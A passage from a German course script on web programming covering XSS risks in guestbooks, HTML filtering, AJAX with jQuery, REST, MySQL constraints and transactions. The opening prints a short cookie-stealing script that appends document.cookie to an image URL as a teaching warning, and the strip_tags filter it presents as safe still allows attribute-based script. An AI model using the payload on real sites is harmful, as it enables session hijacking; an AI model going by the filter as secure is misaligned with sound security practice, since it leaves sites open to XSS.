Zuerst eine Warnung: Die Anzeige von HTML das von Fremden eingegeben wurde ist gefährlich! Dazu
zwei Beispiele: Sie bauen ein Gästebuch in dem BesucherInnen beliebiges HTML abspeichern können.
Herr Lauscher trägt dort ein Bild ein:

<img src="http://laucher.net/bild.php?woher=gästebuch_mmt" alt="harmloses bild" />

Das Bild wird also nicht von Ihrem Webserver geladen, sondern vom Webserver von Herrn Lauscher.
Und dort wird gleich ein php-Programm zum Erzeugen des Bildes aufgerufen. D.h. Herr Lauscher
kann sehr bequem mit-loggen wie viele Zugriffe auf das Gästebuch erfolgen. Falls Herr Lauscher die
Gästebuch-Besucher schon kennt (schon ein Cookie in Ihrem Browser gesetzt hat) kann er sie auch
identifizieren.

Sie haben Herrn Hacker also die Möglichkeit gegeben sehr viel über Ihre BesucherInne zu erfahren.
So etwas ähnliches passiert z.B. wenn Sie Google Analytics in Ihre Webseite einbinden um Zugriffs-
Statistiken zu erstellen: Google erfährt von jedem Zugriff auf Ihre Seite, Google kennt viele Besuche-
rInnen schon (weil Sie bei gmail.com eingeloggt sind oder von einer Vorherigen Suche noch ein Coo-
kie haben.)

Im zweiten Beispiel gibt Frau Hacker neben einem Bild noch etwas Javascript ein:

Hallo Welt
<img src="http://users.local/bild.php" alt="harmloses bild" id="hack_tool" />
<script>
document.getElementById("hack_tool").src += "?keks=" + document.cookie;
</script>

Mit der einen Zeile Javascript wir das Cookie an die URL des Bildes angefügt, das Ergebnis ist z.B:

<img id="hack_tool" alt="harmloses bild"


src="http://users.local/bild.php?keks=PHPSESSID=6b454e966f9fc9b9a9d5126ffb076115"/>

So kann Frau Hacker das Cookie einer BesucherIn Ihres Gästebuchs entwenden. Sie kann nun das
Cookie verwenden um als eingeloggter User Ihre Seite zu benützen!

Lassen Sie niemals, niemals, niemals zu, dass Fremde Javascript in Ihre Site einspeisen können!
MMT Webprogrammierung 2 64

Noch hat unsere Applikation dieses Problem nicht: Wenn Frau Hacker Ihren Code z.B. in das Profil
einer Person eingibt wir der Code htmlescaped angezeigt und „wirkt nicht“:

Abbildung 29: Eingegebener HTML+Javascript-Code wird escaped und dargestellt

Sichere Eingabe von HTML

Für die Beispiel-Applikation wollen wir Zulassen, dass im Profil die HTML-Tags <p> und <b> verwen-
det werden können, mehr nicht. Dass es nur diese Tags und keine anderen sind wird bei der Eingabe
und der Bearbeitung sicher gestellt:

$profil = strip_tags( $_POST['profil'], "<p><b>" );


$stmt = mysqli_prepare($db, "UPDATE person SET profil = ? WHERE pid=?");
mysqli_bind_param($stmt, 'si', $profil, $_POST['pid'] );

Nun können Sie auch die Ausgabe des Profils umstellen und auf das escapen verzichten:

$bildpfad = htmlspecialchars( $person['bildpfad'] );


$uid = htmlspecialchars( $person['uid' ] );
$vorname = htmlspecialchars( $person['vorname' ] );
$nachname = htmlspecialchars( $person['nachname'] );

// das Profil darf einige HTML-Tags enthalten, also nicht escapen!


$profil = $person['profil' ];

echo <<<EOM
<p><img src="http://multimediaart.at/media/profil/$bildpfad" style="float:right" />
$anrede $vorname $nachname hat insgesamt x Werke in dieser Datenbank.
$ersie hat den Usernamen $uid.</p>

<div>$profil</div>
EOM;
MMT Webprogrammierung 2 65

Die Eingabe des HTML-Codes können Sie mit einem Javascript-Editor wie TinyMCE9 erleichtern. Ti-
nyMCE verwandelt eine normale Textarea in einen wysiwyg-Editor:

Abbildung 30: Normale Textarea (oben) kann mit TinyMCE in einen wysiwyg-Editor (unten) verwandelt werden

9
http://tinymce.moxiecode.com/download.php
MMT Webprogrammierung 2 66

5. AJAX und REST


Die Kombination von Javascript und PHP gibt AJAX. Das Prinzip REST hilft uns unnötigen Einsatz von
AJAX zu vermeiden.

5.1 Ziele

Was Sie alle wissen sollten

• Wie AJAX funktioniert.

• Was REST ist.

• Was für und gegen den Einsatz von AJAX in einem bestimmten Fall spricht.

Was Sie können sollten

• Mit der jquery-Library eine Formularprüfung implementieren

• Mit der jquery-Library AJAX implementieren.

5.2 Wiederholung: Was ist AJAX

AJAX ist die englische Abkürzung für „Asynchrones Javascript und XML“. Der Begriff AJAX wurde von
Jesse James Garrett zuerst verwendet10. Es steht für eine besondere Verwendung von Javascript und
einer serverseitigen Programmiersprache.

Ein Beispiel für die Verwendung von AJAX ist das in Abbildung 31 gezeigte Eingabefeld: schon wäh-
rend des Eintippens eines Suchwortes wird eine Anfrage an den Webserver geschickt. Dieser ant-
wortet mit einer Liste von vorgeschlagenen Namen. Diese Liste wird mit Javascript (unter Verwen-
dung der DOM) in einer <div> unterhalb des Eingabefelds angezeigt:

Abbildung 31: Vorschläge für die Eingabe werden über AJAX geladen

10
http://www.adaptivepath.com/publications/essays/archives/000385.php
MMT Webprogrammierung 2 67

Mit AJAX wird hier eine HTTP-


Anfrage gesendet. Der Unterschied
zu einer „normalen“ HTTP-Anfrage:
Bei einer „normalen“ HTTP-Anfrage
schaltet der Browser auf „Warten“,
eine neue vollständige Webseite
wird geladen und angezeigt.

Asynchron heisst: der Request wird


abgesetzt, aber die UserIn kann
weiterhin mit der Webseite inter-
agieren. Erst wenn die Antwort des
Servers vorliegt wird die normale Darstellung der Seite kurz unterbrochen und ein Javascript-
Programm fügt die Daten in die Seite ein.

Auf der Ebene des Programm-Codes sieht der Unterschied zwischen synchron und asynchron so aus:

// synchron
Befehl1();
Befehl2();
Antwort = synchron_laden(url);
Befehl3();
Befehl4();

Bevor Befehl3 ausgeführt werden kann muss erst die Antwort des Servers vorliegen – hier kann also
eine Wartezeit von mehreren Sekunden entstehen.

// asynchron
function handle_data(Antwort) {
...
}

Befehl1();
Befehl2();
asynchron_laden(url, handle_data);
Befehl3();
Befehl4();

Befehl3 kann sofort ausgeführt werden, egal ob und wie schnell der Server antwortet. Wenn die Da-
ten vom Server schließlich einlangen wird die Funktion handle_data aufgerufen und die Daten zu
verarbeiten. Das kann z.B. gleichzeitig mit Befehl4 erfolgen.

Das X am Ende von AJAX steht für XML – das stimmt aber nicht: die Daten vom Server können im
XML-Format gesendet werden, aber genauso auch als HTML oder reiner Text oder JSON. Man könnte
das X in AJAX auch als „X-beliebiges Format“ deuten.

Das wichtigste Javascript-Konstrukt für AJAX ist das XMLHTTPRequestObject. Leider gibt es auch bei
diesem Objekt Unterschiede zwischen den Browsern. Um diese Unannehmlichkeiten zu vermeiden,
sollte man fertige Libraries verwenden, die die Browser-Unterschiede verbergen.
MMT Webprogrammierung 2 68

5.2.1 Simples AJAX Beispiel mit jQuery

Im ersten AJAX Beispiel wird der Output eines PHP-Counters in eine HTML-Seite eingebunden. Das
gibt noch keine besonderen Effekte für die LeserIn, sondern macht nur den Einbau des Counters in
eine bestehende Webseite einfacher.

<html>
<head>
<title>AJAX counter</title>
<script src="jquery.js"></script>
<script>
$(document).ready(function(){
$("p#counter_zeile").show();
$("#counter_zahl").load("counter_ajax.php");
});
</script>
<style>
p#counter_zeile { display: none; }
</style>
</head>
<body>
<h1>Das ist eine statische Webseite</h1>

<p>hier ist total viel Inhalt</p>

<p id="counter_zeile">Counter: <span id="counter_zahl">?</span></p>


</body>
</html>

Die ganze Arbeit macht hier jQuery in der Zeile

$("#counter_zahl").load("counter_ajax.php");

Das Element mit der Id counter_zahl wird ausgewählt. Mit dem Load-Befehl wird eine http-Anfrage
an die angegebene URL abgesetzt. Wenn der Output des PHP-Programm beim Browser ankommt,
wird er in das ausgewählte Element eingefügt. Der Output sollte also reiner Text oder HTML sein.

5.2.2 Schlechte Verwendung von AJAX

Stellen Sie sich vor Sie haben eine Website mit 8 statischen HTML-Seiten, die durch einfache Links
verbunden sind. Wenn man AJAX kennen lernt, kommt man vielleicht auf die Idee: statt normaler
Links verwendet man nur noch load(). Was spricht dafür?

o Man zeigt seine fortgeschrittenen Programmierkenntnisse (und kommt sich entsprechend


cool vor)

o Das Laden der einzelnen Seite geht schneller, da nur der Inhalt, nicht aber z.B. der HTML
<head> geladen werden muss. Das spart dutzende Byte.

Nun surfen wir durch diese Site und beobachten in Firebug welche http-Requests gemacht werden –
siehe Abbildung 32: Beim Anklicken des „Links“ wird jeweils ein GET Request abgesetzt. Aber: die
URL in der Adresszeile des Browsers bleibt immer gleich. Keine der „Seiten“ hat eine eigene URL.

Das hat viele Auswirkungen, die wichtigsten sind vielleicht:


MMT Webprogrammierung 2 69

o Man kann keinen Link zu einer bestimmten Seite setzten – nur zur „Startseite“

o Man kann kein Lesezeichen (Bookmark, Favoriten) auf eine bestimmte Seite setzen

o Google „sieht“ den Text der einzelnen Seite nicht

Vergleicht man Vor- und Nachteile sieht man schnell, dass in diesem Fall die Version ohne AJAX (ganz
normale Links) besser wäre.

Abbildung 32: AJAX statt normaler Links - eine schlechte Idee

Wann ist der Einsatz von AJAX sinnvoll? Wann sollte man darauf verzichten? Um diese Frage zu be-
antworten brauchen wir eine Idealvorstellung wie eine Web-Site oder Web-Applikation funktionieren
soll. Dieses Idealbild ist REST.

5.3 REST – Representational State Transfer

Der Begriff “REST” wurde von Roy Fielding 2000 in seiner Dissertation definiert11.

Fielding hat unter anderem an der HTTP-Spezifikation und an WebDAV mitgearbeitet. In seiner Dis-
sertation stellt er grundlegende Überlegungen zur Architektur von vernetzten Systemen an. Die
Grundfrage könnte man so stellen: das Web ist ein sehr erfolgreiches vernetztes System, viele Her-

11
Dieser Teil des Skriptums enthält viele Verweise auf Literatur. Sie finden ein Quellenverzeichnis
am Ende des Kapitels
MMT Webprogrammierung 2 70

steller entwickeln dafür Software (Microsoft, Mozilla, IBM, …) und die Zusammenarbeit funktioniert.
Es gibt viele Komponenten die erfolgreich zusammenspielen (Browser, Server, Proxies, Suchmaschi-
nen, Browser-Erweiterungen, …). Welche Eigenschaften des Webs führen dazu, dass es zu diesem
erfolgreichen Zusammenspiel kommen kann?

REST ist – nach der Analyse von Fielding – die zugrundeliegende Architektur des Webs. Wenn man
versucht, beim Bau einer Web-Applikation die Prinzipien von REST einzuhalten, dann wird diese Ap-
plikation sich besonders gut in die vorhandene Infrastruktur des Web (Server, Browser, Proxies, Ca-
ches, etc.) einpassen und davon profitieren. Wenn man REST missachtet wird die Infrastruktur nicht
funktionieren – so wie im Beispiel in Kapitel 5.2.2 gezeigt.

In der REST-Terminologie ist das Web ist eine Ansammlung von „Ressourcen“. In diesem Skriptum
wird für Ressourcen auch der Begriff „Dokumente“ verwendet. Wir gehen hier nicht direkt von Fiel-
dings Dissertation aus, sondern von der vereinfachten Darstellung in Tilkov(2007).

1. Gib jedem Dokument eine eindeutige URL.

2. Dokumente sollen Links auf andere Dokumente enthalten.

3. Verwende die HTTP-Methoden GET, POST, PUT, DELETE;


Verwende sie ihrer Bedeutung entsprechend.

4. Ein Dokument kann auf verschiedene Arten repräsentiert werden (kann in verschiedenen Da-
tentypen geliefert werden: HTML, XML, JSON, …).

5. Zustandslosigkeit = Statelessness.

Im Folgenden finden Sie zu jedem dieser Punkte eine kurze Erklärung.

5.3.1 Jedes Dokument soll eine eindeutige URL haben

Die positiven Auswirkungen dieses Prinzip haben wir an Hand des Beispiels in Kapitel 5.2.2 schon
erläutert: Wenn jedes Dokument eine URL hat, dann ist es verlinkbar, kann in Lesezeichen gespei-
chert werden, kann von Google gefunden und verlinkt werden, etc.

Wenn Sie eine statische Webseite bauen erzeugen Sie die URLs beim Festlegen der Dateinamen. Bei
einer PHP-Applikation sind es die Dateinamen und die GET-Parameter, die die URL ausmachen. In der
Applikation, die wir im 3. und 4. Kapitel gebaut haben waren die URLs:

http://ich.multimediatechnology.at/mini/index.php
http://ich.multimediatechnology.at/mini/personen.php
http://ich.multimediatechnology.at/mini/person.php?pid=1
http://ich.multimediatechnology.at/mini/person.php?pid=2
http://ich.multimediatechnology.at/mini/person.php?pid=3

und so weiter. Das ist schon sehr nahe am REST Ideal.


MMT Webprogrammierung 2 71

http://ich.multimediatechnology.at/mini/
http://ich.multimediatechnology.at/mini/personen
http://ich.multimediatechnology.at/mini/person/1
http://ich.multimediatechnology.at/mini/person/2
http://ich.multimediatechnology.at/mini/person/3

Diese Schreibweise kann man (auf einem Apache Webserver) mit Hilfe des Rewrite Moduls konfigu-
rieren. Damit werden die URLs am Server „übersetzt“. Im Konkreten Beispiel müsste man in die Da-
tei .htaccess im Ordner mini schreiben:

RewriteEngine On

RewriteRule ^personen$ personen.php [L]


RewriteRule ^person/(.*) person.php?pid=$1 [L]

Umsetzung: die Umstellung auf diese URLs hat Auswirkungen falls sie relative Links verwendet haben,
um z.B. auf Stylesheets zu verweisen. Deswegen rate ich von einer nachträglichen Umstellung der
URLs ab – das ist sehr viel mehr Arbeit als man denkt.

5.3.2 Dokumente sollen Links auf andere Dokument enthalten

Dieses Prinzip haben wir in allen bisher gezeigten Beispielen erfüllt.

Umsetzung: dieses Prinzip müssen Ihre Web-Applikationen auf jeden Fall erfüllen.

5.3.3 HTTP-Methoden GET, POST, PUT, DELETE

Wie sollen diese Methoden verwendet werden? Jede Methode hat eine Bedeutung:

GET Eine Repräsentation einer Ressource soll geholt werden. Das verändert nichts an
der Ressource, diese Methode ist als harmlos.

POST Eine Ressource soll verändert werden. Typische Verwendung wäre also ein For-
mular zum Bearbeiten eines Datensatzes.

PUT Diese Methode dient zum Erzeugen einer neuen Ressource. Diese Methode steht
bei normalen Web-Formularen aber nicht zur Verfügung. Deswegen wird statt-
dessen meist ein POST auf eine übergeordnete Ressource verwendet. Statt PUT
auf /person/7 also ein POST auf /personen

DELETE Diese Methode dient zum Löschen einer Ressource. Auch diese Methode steht
bei normalen Web-Formularen aber nicht zur Verfügung.

Umsetzung: in diesem Semester ist wichtig, dass Sie GET und POST korrekt einsetzen. Erst im Schwer-
punkt-Unterricht werden wir die anderen Methoden verwenden.
MMT Webprogrammierung 2 72

5.3.4 Ein Dokument – mehrere Repräsentationen

Ein Dokument kann auf verschiedene Arten repräsentiert werden: z.B. kann die Darstellung einer
Person in HTML, XML und JSON erfolgen. Die HTML-Variante kennen Sie schon:

<h1>Details zu einer Person</h1>


<p><img src="http://multimediaart.at/media/profil/edvard_1_2.jpg" />
Herr Edvard Paul Beisteiner hat insgesamt 4 Werke in dieser Datenbank.
Er hat den Usernamen fhs14287.</p>
<ul>
<li><a href='werk/24'>The Thin Red Line</a></li>
<li><a href='werk/50'>Der böse Wolf</a></li>
<li><a href='werk/83'>nimm zwei, schatz</a></li>
<li><a href='werk/303'>the neighbour.</a></li>
</ul>

Dieselbe Person könnte man auch als XML darstellen:

<person>
<image ref='http://multimediaart.at/media/profil/edvard_1_2.jpg' />
<vorname>Edvard</vorname>
<nachname>Beisteiner</nachname>
<username>fhs14287</username>
<werke>
<werk ref='http://ich.multimediatechnology.at/mini/werk/24'>The Thin Red Line</werk>
<werk ref='http://ich.multimediatechnology.at/mini/werk/50'>Der böse Wolf</werk>
<werk ref='http://ich.multimediatechnology.at/mini/werk/83'>nimm zwei, schatz</werk>
<werk ref='http://ich.multimediatechnology.at/mini/werk/303'>the neighbour.</werk>
</werke>
</person>

Besonders praktisch ist das, wenn ich Teile meiner Applikation später AJAXifizieren will: ich kann die
schon vorhandenen Ressourcen weiter nutzen, aber einfach die XML-Repräsentation abfragen.

Ob die Repräsentation als Teil der URL, als URL-Parameter oder nur als http-Header spezifiziert wer-
den soll ist umstritten. RESTfull ist eigentlich nur die Abfrage im http-Header:

GET /mini/person/3 HTTP/1.1


Host: ich.multimediatechnology.at
Accept: text/html

Bzw.

GET /mini/person/3 HTTP/1.1


Host: ich.multimediatechnology.at
Accept: application/xml

Umsetzung: Diesen Aspekt von REST werden wir erst im Schwerpunkt-Unterricht umsetzen.

5.3.5 Zustandslosigkeit = Statlessness.

Zustandslosigkeit ist ein sehr wichtiges Prinzip im Web. Was das bedeutet zeigt man am einfachsten
an einem Gegenbeispiel: Wenn ich im Katalog der FH-Bibliotek (http://alephino.fh-salzburg.ac.at/)
nach Büchern suche (hier mit dem Suchwort „Web“) erhalte ich folgende URL:
MMT Webprogrammierung 2 73

http://alephino.fh-salzburg.ac.at/alipac/PUETBNRDHSZGNYLBXVFF-00020/find-
simple?C1=(&V1=Web&C2=)&F1=TIT&A1=N&x=0&y=0

Wenn ich diese URL zwei Tage später wieder verwende erhalte ich keine Antwort mehr, sondern die
Fehlermeldung:

Abbildung 33: Fehlermeldung von ALEPHINO, einer Webapplikation mit zuviel State

Warum ist das so? Auch zwei Tage später sollte die Ressource „Liste der Bücher mit dem Wort ‚Web’
im Titel“ noch vorhanden sein!

Die Antwort ist: Alephino legt zu viel Wert auf den State – den Zustand der Session.

Nach dem REST-Prinzip sollte man also den Zustand der Session nur dann verwenden, wenn er unbe-
dingt notwendig ist. Z.B. könnte man denken „Liste meiner ausgeliehenen Bücher“ sei von der Sessi-
on abhängig. Aber selbst hier könnte man eine fixe URL verwenden:

http://alephino.fh-salzburg.ac.at/alipac/entlehnte/fhs007

Auf diese URL muss es nun Zugriffsbeschränklungen geben: nur ich und die Bibliothekarin darf zugrei-
fen. Alle anderen erhalten keinen Zugriff sondern den Statuscode 403 Access Denied. Die Biblio-
thekarin hat aber Zugriff auf alle URLs dieser Form.

Umsetzung: Diesen Aspekt von REST können und sollen Sie voll umsetzten. Verwenden Sie nur die
php-SESSION um den Zustand der Applikation zu speichern, und gehen Sie möglichst sparsam damit
um.

5.4 jQuery – Wiederholung

Die Javascript-Library jQuery vereinfacht den Zugriff auf das DOM und die Manipulation des DOM
erheblich. Dabei bleiben Javascript und HTML weitgehend getrennt: jQuery ist nur im <head> des
Dokuments zu finden:
MMT Webprogrammierung 2 74

<html>
<head>
<script src="jquery.js"></script>
<script>
$(document).ready(function(){
$("div.nojavascript").remove();
});
</script>
</head>
<body>
...
</body>
</html>

Hier ein Beispiel für eine Formularprüfung. Das submit-Event des Formular-Tags wird verwendet um
die Daten zu Prüfen und um das Absenden des Formulars gegebenenfalls zu verhindern (durch Rück-
gabe von false).

$("form").submit(function(){
var ok = true;
var i;
$("span.error").remove(); // Alle Fehlermeldungen entfernen
i = $("input[name=uid]");
if(i.val() == '') {
i.after('<span class="error">Bitte einen Usernamen eingeben</span>');
ok = false;
}
i = $("input[name=mail]");
if(i.val() == '') {
i.after('<span class="error">Bitte eine E-Mail Adresse eingeben</span>');
ok = false;
}
return ok;
});

Die Fehlermeldungen werden mit der Funktion after() direkt hinter dem betroffenen Eingabefeld
eingefügt.

5.5 jQuery und AJAX

Die Verwendung von jQuery soll nun an zwei weiteren Beispielen gezeigt werden.

5.5.1 Clientseitige Datenprüfung mit AJAX-Nachfrage beim Server

In der Webapplikation soll bei Eingabe eines Usernamens sofort am Server nachgefragt werden ob
dieser Username schon in Verwendung ist. Falls ja soll eine Fehlermeldung angezeigt werden:

Abbildung 34: Clientseitige Datenprüfung mit AJAX-Nachfrage beim Server

Als Auslöser der Prüfung wird das change-Event des Eingabefeldes verwendet:
MMT Webprogrammierung 2 75

$("input[name=uid]").change(function(){
...
});

Das Programm am Server ist sehr simpel: der Aufruf erfolgt über die URL

username_free.php?uid=hansi

Die Antwort ist plaintext: entweder 1 für wahr (Username ist frei) oder 0 für falsch (Username schon
vergeben).

Die Anfrage vom Client an den Server wird über die get-Funktion von jQuery gesendet. Dabei muss
eine Callback-Funktion angegeben werden, die aufgerufen wird sobald die Antwort des Servers vor-
liegt:

$.get('username_free.php', { 'uid': 'hansi' }, handle_data);

Die Callback-Funktion hat nur ein Argument, über dieses erhält sie die gesamten Daten vom Server:

function handle_data(data) {
...
}

Aus diesen Einzelteilen können Sie nun die Applikation bauen.

5.5.2 Autofill

Mit dem jQuery-Plugin hintbox12 können Sie für ein Eingabefeld Vorschläge vom Server laden. Das
Programm am Server soll einen Parameter q verarbeiten und eine Liste in Plaintext ausgeben.

Abbildung 35: Mit dem jQuery-Plugin hintbox werden Vorschläge für die Eingabe über AJAX geladen

12
http://www.wiipass.com/hintbox
MMT Webprogrammierung 2 76

5.6 Quellenverzeichnis

Fielding, Roy(2000): Architectural Styles and the Design of Network-based Software Architectures.
Dissertation. University of California/Irvine, USA.

Fielding, Roy / Taylor, Richard(2002): Principled design of the modern Web architecture. In: ACM
Transactions on Internet Technology (TOIT), Vol. 2, No. 2, May 2002. Seite 115–150.

Tilkov, Stefan(2007): A Brief Introduction to REST. In: InfoQ. http://www.infoq.com/articles/rest-


introduction. Abgerufen am 24.7.2008.
MMT Webprogrammierung 2 77

6. DB-Transaktionen und Apache Konfiguration


Mit Constraints und Datenbank-Transaktionen kann eine PHP-Programm auch mit komplexeren Da-
tenbank-Strukturen umgehen. Einige Beispiele von Apache-Konfiguration werden gezeigt.

6.1 Ziele

Was Sie alle wissen sollten

• Was ein Foreign Key Constraint in der Datenbank ist.

• Was eine Transaktion in einer Datenbank ist.

• Mit welchen SQL-Befehlen Sie die Transaktion starten, rückrollen oder abschließen.

• Welche Dateien die Apache Konfiguration enthalten.

Was Sie können sollten

• Ein PHP-Programm schreiben, dass mit mehreren Tabellen arbeitet ohne die Datenbank in
einen widersprüchlichen Zustand zu bringen.

• Neue Fehlermeldungen, Zugriffsschutz und URL-Rewriting in Apache konfigurieren.


MMT Webprogrammierung 2 78

6.2 Foreign Key Constraint

Die Beispiel-Applikation enthielt bisher nur eine Tabelle für Personen. Nun gibt es aber Personen die
an der FH Studieren bzw. studiert haben, und andere die an der FH arbeiten. Zu den StudentInnen
soll der Jahrgang gespeichert werden, zu den Angestellten der jobtitel. Dafür werden zwei neue
Tabellen student und staff benötigt:

CREATE TABLE `person` (


`pid` bigint(20) NOT NULL auto_increment,
`uid` varchar(8) default NULL,
`vorname` varchar(40) NOT NULL default '',
`nachname` varchar(50) NOT NULL default '',
PRIMARY KEY (`pid`),
UNIQUE KEY `uid` (`uid`),
UNIQUE KEY `mail` (`mail`),
) ENGINE=InnoDB;
CREATE TABLE `staff` (
`pid` bigint(20) NOT NULL default '0',
`jobtitle` varchar(150) NOT NULL default '',
PRIMARY KEY (`pid`),
) ENGINE=InnoDB;
CREATE TABLE `student` (
`pid` bigint(20) NOT NULL default '0',
`jg` varchar(7) NOT NULL default 'MMA2006',
`graduated` tinyint(4) NOT NULL default '0',
PRIMARY KEY (`pid`),
) ENGINE=InnoDB;

Mit diesen Tabellen ist es auch möglich die beiden Personen in der Datenbank korrekt zu speichern,
die ein FH-Studium abgeschlossen haben und nun an der FH arbeiten.

Zwei Constraints verhindern, dass in den Tabellen student und staff „ “ Einträge ohne entsprechen-
den Eintrag in person sein können:

ALTER TABLE `student`


ADD CONSTRAINT `student_ibfk_1`
FOREIGN KEY (`pid`) REFERENCES `person` (`pid`) ON DELETE CASCADE;

ALTER TABLE `staff`


ADD CONSTRAINT `staff_ibfk_1`
FOREIGN KEY (`pid`) REFERENCES `person` (`pid`) ON DELETE CASCADE;

Achtung: Foreign Key Constraints (und Transaktionen) funktionieren in MySQL nur zwischen Tabellen
des Typ InnoDB13. Dieser Tabellentyp steht aber nicht auf allen Server zu Verfügung. Mit SHOW STO-
RAGE ENGINES oder mit phpMyAdmin können Sie abfragen welche Engines unterstützt werden.

13
http://dev.mysql.com/doc/refman/4.1/en/innodb-foreign-key-constraints.html
MMT Webprogrammierung 2 79

Abbildung 36: Anzeige der Storage Engines in phpMyAdmin

Welche Auswirkungen hat der Constraint? Erstens ist es unmöglich einen Eintrag in staff oder stu-
dent zu machen, der sich nicht auf eine existierende Person bezieht. In folgendem Beispiel existiert
keine Person mit pid 999:

mysql> INSERT INTO student (pid, jg, graduated) VALUES (999, 'MMA1996', 1);
ERROR 1452 (23000): Cannot add or update a child row:
a foreign key constraint fails (`mma/student`,
CONSTRAINT `student_ibfk_1` FOREIGN KEY (`pid`)
REFERENCES `person` (`pid`) ON DELETE CASCADE)

Die Fehlermeldung gibt sowohl den Namen der Datenbank und die Tabelle an die das Problem ent-
hält (mma/student) als auch den gesamten Text des Constraint.

Der Nachsatz „ON DELETE CASCADE“ bezieht sich auf den Fall, dass die Person gelöscht wird. In folgen-
dem Beispiel ist Person 101 auch student:

mysql> SELECT pid,vorname,nachname mysql> SELECT * FROM student


FROM person WHERE pid=100; WHERE pid=100;
+-----+---------+----------+ +-----+---------+-----------+
| pid | vorname | nachname | | pid | jg | graduated |
+-----+---------+----------+ +-----+---------+-----------+
| 100 | Thomas | Schrott | | 100 | MMA2003 | 0 |
+-----+---------+----------+ +-----+---------+-----------+

Wird nun die Person gelöscht, so verschwindet automatisch auch der Datensatz in student:

mysql> DELETE FROM person WHERE pid=100;


Query OK, 1 row affected (0.13 sec)
mysql> SELECT * FROM student WHERE pid=100;
Empty set (0.00 sec)

6.3 Transaktion

Achtung: Transaktionen funktionieren in MySQL nur zwischen Tabellen des Typ InnoDB (siehe
Seite 79).

Wenn wir eine neue Person in der Datenbank speichern, müssen wir immer zuerst den Eintrag in
person vornehmen, den (neu entstandenen) Primary Key pid auslesen, und damit dann eventuell
Einträge in student und/oder person vornehmen.
MMT Webprogrammierung 2 80

Bei Web-Applikationen kommt es oft zur unerwarteten Unterbrechung des Programms. So könnte es
z.B. passieren, dass das Programm unterbrochen wird, nachdem die person schon eingetragen ist,
aber bovor die Einträge in die anderen Tabellen gemacht wurden.

Damit trotzdem die Daten in der Datenbank immer konsistent bleiben, verwenden wir Transaktio-
nen: Die Transaktion stellt sicher, dass die gewünschte Veränderung in der Datenbank entweder
vollständig durchgeführt oder gar nicht durchgeführt wird — auf keinen Fall wird „bloß die Hälf-
te“ gemacht.

Ein Beispiel: eine Person wird eingefügt, das PHP-Programm führt dazu folgende SQL-Queries aus:

START TRANSACTION;
INSERT INTO person (uid, vorname, nachname, profil, isfemale, ifshow)
VALUES ('test', 'testvorname', 'testnachname', 'habe wenig profil', 0, 1);
SELECT pid FROM person where UID='test';
-- Ergebnis: 912
INSERT INTO student (pid,jg,graduated) VALUES (912, 'MMA1996', 1);

An dieser Stelle bricht die Verbindung zur Datenbank ab. Der Datenbankserver führt deswegen einen
automatischen ROLLBACK durch. Danach gibt es von der eben angelegten Person keine Spur mehr in
der Datenbank:

SELECT pid,vorname,nachname FROM person WHERE pid=912;


-- Ergebnis: Empty set

So sieht der Vorgang aus wenn alles gut geht: nach drei INSERTs kommt ein COMMIT:

START TRANSACTION;
INSERT INTO person (uid, vorname, nachname, profil, isfemale, ifshow)
VALUES ('test', 'testvorname', 'testnachname', 'habe wenig profil', 0, 2);
SELECT pid FROM person where UID='test';
-- Ergebnis: 913
INSERT INTO student (pid, jg, graduated) VALUES (913, 'MMA1996', 1);
INSERT INTO staff (pid,jobtitle) VALUES (913, 'Testobjekt');
COMMIT;

Mit dem COMMIT wird die Transaktion abgeschlossen, erst dann werden alle Änderungen an der Da-
tenbank wirklich durchgeführt.

Die mysqli – Datenank-Schnittstelle enthält eigene Befehle für start, rollback und commit der Trans-
aktion. Statt START TRANSACTION heisst es hier autocommit false:

mysqli_autocommit($db, FALSE);

Ein Absichtliches Rollback braucht man in der Fehlerbehandlung:


MMT Webprogrammierung 2 81

$stmt = mysqli_prepare($db, "INSERT INTO person ...");


mysqli_bind_param($stmt, ... );
if ( ! mysqli_stmt_execute($stmt) ) {
echo("Fehler beim Speichern in der Datenbank: ");
echo(mysqli_error($db));
mysqli_rollback($db);
exit;
}

Nur wenn alle drei INSERTs gut gegangen sind wird die Transaktion abgeschlossen:

mysqli_commit($db);

6.4 Andere DB-Schnittstellen

Wie anfangs erwähnt ist die MySQL-Schnittstelle „mysqli“ nur eine von vielen Datenbank Schnittstel-
len. Die primitivste Schnittstelle wäre „mysql“ (ohne i wie improved). Abschließend noch ein kurzer
Ausblick auf andere Schnittstellen: MDB2, ADODB und Zend Framework.

MDB214 aus dem "PHP Extension and Application Repository" (PEAR) ist datenbank-unabhängig und
unterstützt derzeit 8 verschiedene Datenbanken, darunter MySQL, Postgres und Oracle. MDB2 un-
terstützt ebenfalls Prepared Statements:

$types = array('integer', 'text', 'text');


$sth = $mdb2->prepare('INSERT INTO numbers VALUES (?,?,?)', $types, MDB2_PREPARE_MANIP);

$affectedRows = $sth->execute( array(1, 'eins', 'die erste Zahl') );


$affectedRows = $sth->execute( array(2, 'zwei', 'noch eine Zahl') );

ADODb orientiert sich an Microsofts ActiveX Data Objects (ADO). Ein aktuelles Tutorial finden Sie im
phpmagazin15.

Im Zend Framework gibt es die Komponente Zend_Db16. Dieser Komponente erlaubt den „Zusam-
menbau“ von SQL-Statements über Methoden:

14
http://pear.php.net/manual/en/package.database.mdb2.php
15
http://phpmagazin.de/itr/online_artikel/psecom,id,529,nodeid,62,_language,de.html
16
http://framework.zend.com/manual/en/zend.db.html
MMT Webprogrammierung 2 82

$minimumPrice = 100;
$maximumPrice = 500;

$select = $db->select()
->from('products', array('product_id', 'product_name', 'price'))
->where('price < ?', $minimumPrice)
->orWhere('price > ?', $maximumPrice)
->order('product_name');

Das Statement kann auch im Nachhinein noch verändert werden:

$select->reset( Zend_Db_Select::ORDER );
$select->order('product_id');

Das Zend Framework bietet auch eine Komponente17 die ein Mapping von DB-Tabelle auf PHP-Klasse
ermöglicht (Table Data Gateway Design Pattern und Row Data Gateway Design Pattern).

class Person extends Zend_Db_Table_Abstract


{
protected $_name = 'person'; // Tabelle in der DB
protected $_primary = 'pid'; // Primary key
protected $_sequence = true; // --||-- ist auto_increment
}

Diese Klasse entspricht der Tabelle person in der Datenbank, jedes Objekt der Klasse entspricht ei-
nem Datensatz in der Tabelle.

Wenn man diese Klassen in PHP verwendet werden die entsprechenden Operationen in der Daten-
bank durchgeführt:

$table = new Person();


$data = array(
'created_on' => new Zend_Db_Expr('CURDATE()'),
'vorname' => 'Brigitte',
'nachname' => 'Jellinek'
);
$table->insert($data);
$where = $table->getAdapter()->quoteInto('vorname = ?', 'Brigitte');
$table->delete($where);

Leider ist keine dieser moderneren Datenbank-Schnittstellen im Standard Lieferumfang von PHP
